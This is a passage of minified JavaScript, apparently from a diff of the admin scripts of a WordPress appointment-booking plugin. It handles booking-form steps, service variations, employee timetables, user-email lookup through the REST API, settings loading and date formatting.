e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(S)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(S)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(S)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ke(Ce(e,Object.keys(t)))}else i=null;const a=Pe(e,t,i),r=this.category||\"\";Q(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?\"\":String(this.serviceId);Q(this.$servicesSelect,{\"\":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?\"0\":String(this.employeeId);Q(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?\"0\":String(this.locationId);Q(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class Re extends s{constructor(e){super(e),this.cart=new oe,this.steps=new xe(this.cart),this.load()}setupSteps(){this.steps.addStep(new Fe(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new Ve(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new Be(this.$element.find(\".mpa-booking-step-cart\"),this.cart)),this.steps.mount(this.$element);let e=new Ee;this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.steps.goToStep(\"cart\")}load(){this.setupSteps()}}class je extends s{constructor(e){super(e),this.$table=this.$element.find(\"table\"),this.$rows=this.$table.children(\"tbody\"),this.$addButton=this.$element.find(\".mpa-add-button\"),this.inputName=this.$element.attr(\"data-base-name\"),this.variations={},this.count=0,this.employees={},this.durations={},this.findVariations(),this.getEmployees(),this.getDurations(),this.clearElement(),this.addListeners()}findVariations(){this.$element.find(\".mpa-variation\").each(((e,t)=>{let i=jQuery(t),s=i.attr(\"data-id\");this.variations[s]=i,this.count++}))}getEmployees(){this.$element.find(\".mpa-employees-list option\").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.employees[i]=s}))}getDurations(){this.$element.find(\".mpa-durations-list option\").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.durations[i]=s}))}clearElement(){this.$element.children(\".mpa-data-lists\").remove()}addListeners(){this.$addButton.on(\"click\",this.addRow.bind(this)),this.$element.find(\".mpa-remove-button\").on(\"click\",(e=>this.removeRowByElement(e.target)))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id=\"'+e+'\"]');this.variations[e]=i,this.count++,this.$table.removeClass(\"mpa-hide\"),i.find(\".mpa-remove-button\").on(\"click\",(e=>this.removeRowByElement(e.target)))}renderRow(e){let t=this.inputName+\"[\"+e+\"]\",i=\"\";return i+='\u003Ctr class=\"mpa-variation\" data-id=\"'+e+'\">',i+='\u003Ctd class=\"column-employee\">',i+=j(this.employees,0,{name:`${t}[employee]`,class:\"mpa-employees\"}),i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-price\">',i+='\u003Cinput class=\"mpa-price\" type=\"number\" name=\"'+t+'[price]\" value=\"\" min=\"0\" step=\"0.01\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-duration\">',i+=j(this.durations,0,{name:`${t}[duration]`,class:\"mpa-durations\"}),i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-min-capacity\">',i+='\u003Cinput class=\"small-text\" type=\"number\" name=\"'+t+'[min_capacity]\" value=\"\" min=\"1\" step=\"1\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-max-capacity\">',i+='\u003Cinput class=\"small-text\" type=\"number\" name=\"'+t+'[max_capacity]\" value=\"\" min=\"1\" step=\"1\">',i+=\"\u003C\u002Ftd>\",i+='\u003Ctd class=\"column-actions\">'+O(\"trash\",\"mpa-remove-button\")+\"\u003C\u002Ftd>\",i+=\"\u003C\u002Ftr>\",i}removeRowByElement(e){let t=jQuery(e).parents(\".mpa-variation\").attr(\"data-id\");t&&this.removeRow(t)}removeRow(e){this.variations.hasOwnProperty(e)&&(this.variations[e].remove(),delete this.variations[e],this.count--,0===this.count&&this.$table.addClass(\"mpa-hide\"))}}class Ne extends s{constructor(e){super(e),this.$daysContainer=this.$element.find(\".mpa-days-container\"),this.$formTable=this.$element.find(\".mpa-edit-table\"),this.$dayInput=this.$formTable.find(\".mpa-day-of-week\"),this.timeSelects=this.$formTable.find(\".mpa-period\"),this.$startTimeHoursInput=this.$formTable.find(\".mpa-period__start-hours\"),this.$startTimeMinutesInput=this.$formTable.find(\".mpa-period__start-minutes\"),this.$endTimeHoursInput=this.$formTable.find(\".mpa-period__end-hours\"),this.$endTimeMinutesInput=this.$formTable.find(\".mpa-period__end-minutes\"),this.$timeAllDayInput=this.$formTable.find(\".mpa-period__all-day\"),this.$activityInput=this.$formTable.find(\".mpa-activity\"),this.$locationInput=this.$formTable.find(\".mpa-location\"),this.$errorWrapper=this.$formTable.find(\".mpa-end-time + .mpa-error\"),this.$addButton=this.$element.find(\".mpa-add-button\"),this.$cancelButton=this.$element.find(\".mpa-cancel-button\"),this.addingPeriod=!1,this.baseName=this.$element.attr(\"data-base-name\"),this.findPeriods(),this.fillActivities(),this.fillLocations(),this.addListeners()}findPeriods(){this.periods={monday:{},tuesday:{},wednesday:{},thursday:{},friday:{},saturday:{},sunday:{}},this.periodsMap={};let e=this;this.$element.find(\".mpa-day-period\").each((function(t,i){let s=jQuery(i),a=s.attr(\"data-id\"),r=s.children(\".mpa-period-day\").val(),n=parseInt(s.children(\".mpa-period-start\").val());e.periods[r][a]={startTime:n,$element:s},e.periodsMap[a]=r}))}fillActivities(){this.activities={},this.$activityInput.children().each(((e,t)=>{let i=t.value,s=t.text;this.activities[i]=s}))}fillLocations(){this.locations={},this.$locationInput.children().each(((e,t)=>{let i=t.value,s=t.text;\"\"!==i&&(this.locations[i]=s)}))}addListeners(){this.$timeAllDayInput.on(\"change\",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$addButton.on(\"click\",(()=>{this.addingPeriod?this.isValidEditingPeriod()?(this.$errorWrapper.addClass(\"mpa-hide\"),this.addPeriod({day:this.getDay(),startTime:this.getStartTime(),endTime:this.getEndTime(),activity:this.getActivity(),location:this.getLocation()}),this.$formTable.addClass(\"mpa-hide\"),this.addingPeriod=!1):this.$errorWrapper.removeClass(\"mpa-hide\"):(this.addingPeriod=!0,this.resetInputs(),this.$formTable.removeClass(\"mpa-hide\"))})),this.$cancelButton.on(\"click\",(()=>{this.$formTable.addClass(\"mpa-hide\"),this.addingPeriod=!1}));let e=this;this.$element.find(\".mpa-remove-button\").on(\"click\",(function(){e.removePeriodByElement(this)}))}getDay(){return this.$dayInput.val()}getStartTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return this.$timeAllDayInput.prop(\"checked\")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}getActivity(){return this.$activityInput.val()}getLocation(){let e=this.$locationInput.val();return\"\"!==e&&(e=parseInt(e)),e}isValidEditingPeriod(){let e=this.getStartTime(),t=this.getEndTime();return t>e||0===t}addPeriod(e){let t=C(),i=this.renderPeriod(e,t),s=!1;for(let t in this.periods[e.day])if(e.startTime\u003Cthis.periods[e.day][t].startTime){jQuery(i).insertBefore(this.periods[e.day][t].$element),s=!0;break}s||this.$daysContainer.children('[data-for=\"'+e.day+'\"]').children(\".mpa-day-periods\").append(i);let a=this.$daysContainer.find('[data-id=\"'+t+'\"]');this.periods[e.day][t]={startTime:e.startTime,$element:a},this.periodsMap[t]=e.day;let r=this;a.find(\".mpa-remove-button\").on(\"click\",(function(){r.removePeriodByElement(this)}))}renderPeriod(e,t){let i=this.baseName+\"[\"+t+\"]\",s=\"\";return s+='\u003Cdiv class=\"mpa-day-period\" data-id=\"'+t+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[day]\" value=\"'+e.day+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[start]\" value=\"'+e.startTime+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[end]\" value=\"'+e.endTime+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[activity]\" value=\"'+e.activity+'\">',s+='\u003Cinput type=\"hidden\" name=\"'+i+'[location]\" value=\"'+e.location+'\">',s+='\u003Cspan class=\"mpa-period-time\">',0===e.startTime&&0===e.startTime&&e.startTime===e.endTime?s+=c(\"All day\",\"motopress-appointment\"):(s+=x(e.startTime),s+=\"&nbsp;—&nbsp;\",s+=x(e.endTime)),s+=\"\u003C\u002Fspan>\",s+=O(\"trash\",\"mpa-remove-button\"),s+=\"\u003Cbr>\",s+='\u003Cspan class=\"mpa-period-activity\">',s+=this.activities[e.activity],s+=\"\u003C\u002Fspan>\",\"\"!==e.location&&\"work\"==e.activity&&(s+=\"\u003Cbr>\",s+='\u003Cspan class=\"mpa-period-location\">',s+=d(\"at %s\",\"Working at %s\",\"motopress-appointment\").replace(\"%s\",function(e,t=\"\"){return`\u003Ca href=\"wp-admin\u002Fpost.php?post=${e}&action=edit\" title=\"`+t+'\">'+t+\"\u003C\u002Fa>\"}(e.location,this.locations[e.location])),s+=\"\u003C\u002Fspan>\"),s+=\"\u003C\u002Fdiv>\",s}removePeriodByElement(e){let t=jQuery(e).parents(\".mpa-day-period\").attr(\"data-id\");t&&this.removePeriod(t)}removePeriod(e){if(!this.periodsMap.hasOwnProperty(e))return;let t=this.periodsMap[e];this.periods[t][e].$element.remove(),delete this.periods[t][e],delete this.periodsMap[e]}resetInputs(){this.$errorWrapper.addClass(\"mpa-hide\")}onCancel(){this.$formTable.addClass(\"mpa-hide\"),this.addingPeriod=!1}}class He extends s{constructor(e){super(e),this.$input=this.$element.find(\"input\"),this.$datalist=this.$element.find(\"datalist\"),this.$input.on(\"input\",this.reloadUserEmails.bind(this)),this.reloadUserEmails()}reloadUserEmails(){let e=this;jQuery.ajax({url:mpaUserMetaboxSettings.root+\"wp\u002Fv2\u002Fusers\u002F\",method:\"GET\",beforeSend:function(e){e.setRequestHeader(\"X-WP-Nonce\",mpaUserMetaboxSettings.nonce)},data:{context:\"edit\",search:e.$input.val(),per_page:100,orderby:\"email\"}}).done((function(t){e.$datalist.empty(),t.forEach((t=>{e.$datalist.append('\u003Coption value=\"'+t.email+'\">\u003C\u002Foption>')}))}))}}class Qe{constructor(e){this.$element=e,this.$toggle=e.children(\".dropdown-toggle\"),this.$menu=e.children(\".dropdown-menu\"),this.$menuItems=this.$menu.children(\".dropdown-item\"),this.isDoingClick=!1,this.addListeners(),this.setInited()}addListeners(){this.$toggle.on(\"click\",this.showMenu.bind(this)),this.$toggle.on(\"blur\",this.onBlur.bind(this)),this.$menuItems.on(\"mousedown\",this.beforeClick.bind(this)),this.$menuItems.on(\"mouseup\",this.afterClick.bind(this))}setInited(){this.$element.addClass(\"inited\")}toggleMenu(){this.$menu.toggleClass(\"show\")}showMenu(){this.$menu.addClass(\"show\")}hideMenu(){this.$menu.removeClass(\"show\")}beforeClick(){this.isDoingClick=!0}afterClick(){this.isDoingClick=!1,this.hideMenu()}onBlur(e){this.isDoingClick?e.preventDefault():this.hideMenu()}}new class{constructor(){this.setupComponents(),this.exportInstance()}setupComponents(){this.setupDropdowns()}setupDropdowns(){jQuery(\".mpa-dropdown:not(.inited)\").each((function(e,t){new Qe(jQuery(t))}))}exportInstance(){var e,t;e=\"Bootstrap\",t=this,null==window.MotoPress&&(window.MotoPress={}),null==window.MotoPress.Appointment&&(window.MotoPress.Appointment={}),window.MotoPress.Appointment[e]=t}},new class{constructor(){this.setupFields(jQuery(\".mpa-ctrl:not([data-inited])\"))}setupFields(e){e.each((function(e,t){let i=jQuery(t);switch(i.attr(\"data-type\")){case\"color-picker\":new a(i);break;case\"date\":new f(i);break;case\"image\":new $(i);break;case\"phone\":new w(i);break;case\"attributes\":new W(i);break;case\"custom-workdays\":new z(i);break;case\"days-off\":new K(i);break;case\"edit-reservations\":new Re(i);break;case\"service-variations\":new je(i);break;case\"timetable\":new Ne(i);break;case\"employee-user\":new He(i)}}))}},new class{constructor(){0!==jQuery(\"#mpa_appointment_form_metabox\").length&&(this.availability=new Ee,this.availability.load().finally((()=>{this.defaultValuesDependency()})),this.$showItemsCategory=jQuery(\"#_mpa_show_items-category\"),this.$showItemsCategoryLabel=this.$showItemsCategory.parent(),this.$showItemsService=jQuery(\"#_mpa_show_items-service\"),this.$showItemsServiceLabel=this.$showItemsService.parent(),this.$defaultValuesCategory=jQuery(\"#_mpa_default_category\"),this.$defaultValuesService=jQuery(\"#_mpa_default_service\"),this.$defaultValuesLocation=jQuery(\"#_mpa_default_location\"),this.$defaultValuesEmployee=jQuery(\"#_mpa_default_employee\"),this.showItemsCategoryProp=this.$showItemsCategory.prop(\"checked\"),this.showItemsCategoryLabelTooltipText=p(c(\"To enable this option, you need to check the '%s' box.\",\"motopress-appointment\"),c(\"Service\",\"motopress-appointment\")),this.showItemsServiceLabelTooltipText=c(\"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\",\"motopress-appointment\"),this.dependencyOfShowServiceToDefaultValueOfService(),this.toggleCategoryBasedOnService(),this.addListeners())}addListeners(){this.$showItemsCategory.on(\"change\",(()=>this.updateShowItemsCategoryProp())),this.$showItemsService.on(\"change\",(()=>this.toggleCategoryBasedOnService())),this.$defaultValuesService.on(\"change\",(()=>this.dependencyOfShowServiceToDefaultValueOfService())),this.$showItemsServiceLabel.on(\"click\",(()=>this.makeFocusToServiceSelect())),this.$defaultValuesCategory.on(\"change\",(()=>this.defaultValuesDependency())),this.$defaultValuesService.on(\"change\",(()=>this.defaultValuesDependency())),this.$defaultValuesLocation.on(\"change\",(()=>this.defaultValuesDependency())),this.$defaultValuesEmployee.on(\"change\",(()=>this.defaultValuesDependency()))}updateShowItemsCategoryProp(){this.showItemsCategoryProp=this.$showItemsCategory.prop(\"checked\")}toggleCategoryBasedOnService(){!1===this.$showItemsService.prop(\"checked\")?(this.$showItemsCategory.prop(\"disabled\",!0),this.$showItemsCategory.prop(\"checked\",!1),this.$showItemsCategoryLabel.toggleClass(\"mpa_tooltip\",!0),this.$showItemsCategoryLabel.attr(\"data-tooltip\",this.showItemsCategoryLabelTooltipText)):(this.$showItemsCategory.prop(\"disabled\",!1),this.$showItemsCategory.prop(\"checked\",this.showItemsCategoryProp),this.$showItemsCategoryLabel.toggleClass(\"mpa_tooltip\",!1))}dependencyOfShowServiceToDefaultValueOfService(){this.$defaultValuesService.val()&&\"0\"!==this.$defaultValuesService.val()?(this.$showItemsService.prop(\"disabled\",!1),this.$showItemsServiceLabel.toggleClass(\"mpa_tooltip\",!1),this.$showItemsServiceLabel.removeAttr(\"data-tooltip\")):(this.$showItemsService.prop(\"disabled\",!0),this.$showItemsService.prop(\"checked\",!0),this.$showItemsServiceLabel.toggleClass(\"mpa_tooltip\",!0),this.$showItemsServiceLabel.attr(\"data-tooltip\",this.showItemsServiceLabelTooltipText))}makeFocusToServiceSelect(){!0===this.$showItemsService.prop(\"disabled\")&&this.$defaultValuesService.focus()}defaultValuesDependency(){const e=jQuery(\"#_mpa_label_unselected\").val(),t=e||c(\"— Select —\",\"motopress-appointment\"),i=jQuery(\"#_mpa_label_option\").val(),s=i||c(\"— Any —\",\"motopress-appointment\"),a=this.$defaultValuesCategory.val(),r=S(this.$defaultValuesService.val()),n=S(this.$defaultValuesEmployee.val()),o=S(this.$defaultValuesLocation.val()),l=this.availability.isAvailableService(r)?r:0,h=this.availability.isAvailableServiceCategory(a)?a:\"\",d=this.availability.isAvailableLocation(o)?o:0,p=this.availability.isAvailableEmployee(n)?n:0,u=0!==l?this.availability.getServiceCategories(l):this.availability.getAvailableServiceCategories(),m=this.availability.getAvailableServices(h,d,p),g=this.availability.getAvailableLocations(l,p),y=this.availability.getAvailableEmployees(l,d),v=Object.values(this.availability.getServiceCategoriesTree()),f=Object.keys(u);let b;if(0!==l){b=ke(Ce(v,f))}else b=null;const $=Pe(v,this.availability.categoryIndexes,b),I=this.availability.serviceIndexes.filter((e=>m.hasOwnProperty(e))).map((e=>({id:e,name:m[e]}))),w=this.availability.locationIndexes.filter((e=>g.hasOwnProperty(e))).map((e=>({id:e,name:g[e]}))),T=this.availability.employeeIndexes.filter((e=>y.hasOwnProperty(e))).map((e=>({id:e,name:y[e]})));Q(this.$defaultValuesCategory,{\"\":s},$,u.hasOwnProperty(h)?h:\"\"),Q(this.$defaultValuesService,{\"\":t},I,m.hasOwnProperty(l)?l:\"\"),Q(this.$defaultValuesLocation,{\"\":s},w,g.hasOwnProperty(d)?d:\"\"),Q(this.$defaultValuesEmployee,{\"\":s},T,y.hasOwnProperty(p)?p:\"\")}}}(wp.date,intlTelInput,mpaData)}();\n+!function(){\"use strict\";!function(e,t,i){class s{constructor(e){this.$element=e,this.type=e.data(\"type\"),this.$element.attr(\"data-inited\",\"true\")}}class a extends s{constructor(e){super(e),this.$input=e.find(\"input\").first(),this.$input.spectrum()}}let r=\"\u002Fmotopress\u002Fappointment\u002Fv1\";function n(e,t={}){return function(e,t={},i=\"GET\"){return new Promise(((s,a)=>{wp.apiRequest({path:r+e,type:i,data:t}).done((e=>s(e))).fail(((e,t)=>{let i=\"parsererror\";i=e.responseJSON&&e.responseJSON.message?e.responseJSON.message:`Status: ${t}`,\"parsererror\"==i&&(i=\"REST request failed. Maybe PHP error on the server side. Check PHP logs.\"),a(new Error(i))}))}))}(e,t,\"GET\")}class o{constructor(){this.settings=this.getDefaults(),this.loadingPromise=this.load()}getDefaults(){return{plugin_name:\"Appointment Booking\",today:\"2030-01-01\",business_name:\"\",default_time_step:30,default_booking_status:\"confirmed\",confirmation_mode:\"auto\",terms_page_id_for_acceptance:0,allow_multibooking:!1,allow_coupons:!1,allow_customer_account_creation:!1,country:\"\",currency:\"EUR\",currency_symbol:\"&euro;\",currency_position:\"before\",decimal_separator:\".\",thousand_separator:\",\",number_of_decimals:2,timezone:\"UTC\",date_format:\"F j, Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{n(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class l{constructor(){this.settingsCtrl=new o,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==l.instance&&(l.instance=new l),l.instance}}function h(){return l.getInstance()}const c=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,d=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i=\"\")=>e,p=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf?wp.i18n.sprintf:(e,...t)=>{let i=0;return e.replace(\u002F%([sdf])\u002Fg,((e,s)=>{if(i>=t.length)return e;let a=t[i++];switch(s){case\"s\":return String(a);case\"d\":return parseInt(a,10);case\"f\":return parseFloat(a);default:return e}}))},u={weekdays:{shorthand:[c(\"Sun\",\"motopress-appointment\"),c(\"Mon\",\"motopress-appointment\"),c(\"Tue\",\"motopress-appointment\"),c(\"Wed\",\"motopress-appointment\"),c(\"Thu\",\"motopress-appointment\"),c(\"Fri\",\"motopress-appointment\"),c(\"Sat\",\"motopress-appointment\")],longhand:[c(\"Sunday\",\"motopress-appointment\"),c(\"Monday\",\"motopress-appointment\"),c(\"Tuesday\",\"motopress-appointment\"),c(\"Wednesday\",\"motopress-appointment\"),c(\"Thursday\",\"motopress-appointment\"),c(\"Friday\",\"motopress-appointment\"),c(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[c(\"Jan\",\"motopress-appointment\"),c(\"Feb\",\"motopress-appointment\"),c(\"Mar\",\"motopress-appointment\"),c(\"Apr\",\"motopress-appointment\"),d(\"May\",\"Month (short)\",\"motopress-appointment\"),c(\"Jun\",\"motopress-appointment\"),c(\"Jul\",\"motopress-appointment\"),c(\"Aug\",\"motopress-appointment\"),c(\"Sep\",\"motopress-appointment\"),c(\"Oct\",\"motopress-appointment\"),c(\"Nov\",\"motopress-appointment\"),c(\"Dec\",\"motopress-appointment\")],longhand:[c(\"January\",\"motopress-appointment\"),c(\"February\",\"motopress-appointment\"),c(\"March\",\"motopress-appointment\"),c(\"April\",\"motopress-appointment\"),d(\"May\",\"Month\",\"motopress-appointment\"),c(\"June\",\"motopress-appointment\"),c(\"July\",\"motopress-appointment\"),c(\"August\",\"motopress-appointment\"),c(\"September\",\"motopress-appointment\"),c(\"October\",\"motopress-appointment\"),c(\"November\",\"motopress-appointment\"),c(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:h().settings().getFirstDayOfWeek()};function m(t,i=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==i)return m(t,\"Y-m-d\");if(\"public\"==i)return e.format(h().settings().getDateFormat(),t);let s=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return i.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return s(t.getDate());case\"D\":return u.weekdays.shorthand[t.getDay()];case\"l\":return u.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),d=864e5;return Math.ceil(((l-c)\u002Fd+1)\u002F7);case\"F\":return u.months.longhand[t.getMonth()];case\"M\":return u.months.shorthand[t.getMonth()];case\"m\":return s(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return u.amPM[t.getHours()>11?1:0];case\"a\":return u.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return s(t.getHours());case\"h\":return s(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return s(t.getMinutes());case\"s\":return s(t.getSeconds());case\"v\":return s(t.getMilliseconds(),3);case\"u\":return s(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let p=-t.getTimezoneOffset(),g=p>=0?\"+\":\"-\",y=Math.floor(Math.abs(p)\u002F60),v=Math.abs(p)%60,f=\"O\"==e?\"\":\":\";return g+s(y)+f+s(v);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return m(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return m(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function g(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function y(){let e=new Date;return e.setHours(0,0,0,0),e}function v(e,t){let i=t.locale||h().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;\"object\"==typeof s&&(s.firstDayOfWeek=h().settings().getFirstDayOfWeek());let a={formatDate:m,inline:!0,locale:s,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}class f extends s{constructor(e){super(e),this.$dateInput=this.$element.find(\".mpa-date-input\").first(),this.datepicker=null,this.displayFormat=this.$element.data(\"display-format\"),this.sizeClass=this.$element.data(\"size\"),this.initDatepicker(),this.removePreloader()}initDatepicker(){this.datepicker=v(this.$dateInput,{altFormat:this.displayFormat,altInput:!0,altInputClass:\"mpa-alt-date-input \"+this.sizeClass,inline:!1,showMonths:2}),this.$dateInput.prop(\"disabled\")&&this.$element.find(\".mpa-alt-date-input\").prop(\"disabled\",!0)}removePreloader(){this.$element.find(\".mpa-preloader\").remove()}}function b(e){return!!e}function S(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class $ extends s{constructor(e){super(e),this.setupProperties(),this.addListeners()}setupProperties(){this.$input=this.$element.find('input[type=\"hidden\"]'),this.$preview=this.$element.find(\".mpa-preview-wrapper > 